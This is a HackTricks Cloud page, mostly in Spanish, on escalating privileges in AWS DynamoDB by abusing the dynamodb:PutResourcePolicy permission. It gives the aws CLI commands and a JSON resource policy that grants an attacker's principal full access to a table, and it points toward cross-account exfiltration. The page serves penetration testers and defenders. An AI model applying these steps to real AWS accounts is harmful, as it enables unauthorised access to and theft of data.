AWS - DynamoDB Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
dynamodb
For more info about dynamodb check:
dynamodb:PutResourcePolicy, and optionally dynamodb:GetResourcePolicy
Desde marzo de 2024, AWS ofrece políticas basadas en recursos para DynamoDB (AWS News).
Por lo tanto, si tienes el dynamodb:PutResourcePolicy para una tabla, puedes simplemente concederte a ti mismo u a cualquier otro principal acceso completo a la tabla.
Conceder el dynamodb:PutResourcePolicy a un principal aleatorio suele ocurrir por accidente, si los administradores piensan que conceder dynamodb:Put* solo permitiría al principal poner items en la base de datos —o si otorgaron ese conjunto de permisos antes de marzo de 2024…
Idealmente, también dispones de dynamodb:GetResourcePolicy, para no sobrescribir otros permisos potencialmente vitales, sino solo inyectar los permisos añadidos que necesites:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Si no puedes recuperar la política actual, utiliza esta que concede acceso completo a la tabla a tu principal:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Si necesitas personalizarla, aquí tienes una lista de todas las acciones posibles de DynamoDB: AWS Documentation. Y aquí tienes una lista de todas las acciones que pueden permitirse mediante una política basada en recursos Y cuáles de estas pueden usarse entre cuentas (¡piensa en exfiltración de datos!): AWS Documentation
Ahora, con el documento de política policy.json listo, aplica la política basada en recursos:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Now, deberías tener los permisos que necesitabas.
Post Exploitation
Que yo sepa, no existe otra forma directa de escalate privileges in AWS solo por tener algunos permisos de AWS dynamodb. Puedes leer información sensible de las tablas (que podría contener credenciales de AWS) y escribir información en las tablas (lo que podría desencadenar otras vulnerabilidades, como lambda code injections…) pero todas estas opciones ya están consideradas en la DynamoDB Post Exploitation page:
AWS - DynamoDB Post Exploitation
TODO: Leer datos abusando de data Streams
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

